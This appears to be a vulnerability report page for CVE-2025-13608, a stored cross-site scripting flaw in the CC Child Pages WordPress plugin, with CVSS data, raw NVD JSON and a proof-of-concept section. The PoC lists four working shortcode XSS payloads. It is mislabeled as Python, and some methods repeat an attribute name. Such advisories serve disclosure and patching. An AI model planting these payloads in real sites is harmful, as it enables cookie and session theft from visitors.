Security Vulnerability Report
中文
CVE-2025-13608 CVSS 6.4 MEDIUM

CVE-2025-13608

Published: 2025-12-15 15:15:48
Last Modified: 2026-04-15 00:35:42

Description

The CC Child Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'child_pages' shortcode in all versions up to, and including, 2.0.0. This is due to insufficient input sanitization and output escaping on four user-supplied attributes (use_custom_link, use_custom_link_target, use_custom_thumbs, and use_custom_excerpt) in the 'show_child_pages' function. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

CC Child Pages WordPress插件 <= 2.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13608 PoC - Stored XSS via child_pages shortcode --> <!-- Requires contributor-level access or higher --> <!-- Method 1: Using use_custom_link_target attribute --> [child_pages use_custom_link='1' use_custom_link_target='" onmouseover="alert(document.cookie)//'] <!-- Method 2: Using use_custom_link attribute --> [child_pages use_custom_link='1' use_custom_link='<script>alert(String.fromCharCode(88,83,83))</script>'] <!-- Method 3: Using use_custom_excerpt attribute --> [child_pages use_custom_excerpt='1' use_custom_excerpt='<img src=x onerror=alert(1)>'] <!-- Method 4: Using use_custom_thumbs attribute --> [child_pages use_custom_thumbs='1' use_custom_thumbs='" onload="alert(document.domain)//'] <!-- Explanation: 1. Attacker with contributor+ role creates/edits a post 2. Inserts malicious shortcode with payload in one of the four attributes 3. When page is viewed by any user, XSS payload executes 4. Payload can steal cookies, session tokens, or perform actions on behalf of victim -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13608", "sourceIdentifier": "[email protected]", "published": "2025-12-15T15:15:48.340", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CC Child Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'child_pages' shortcode in all versions up to, and including, 2.0.0. This is due to insufficient input sanitization and output escaping on four user-supplied attributes (use_custom_link, use_custom_link_target, use_custom_thumbs, and use_custom_excerpt) in the 'show_child_pages' function. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3403877/cc-child-pages", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/139009b5-69d4-44ca-820c-766645828e5e?source=cve", "source": "[email protected]"}]}}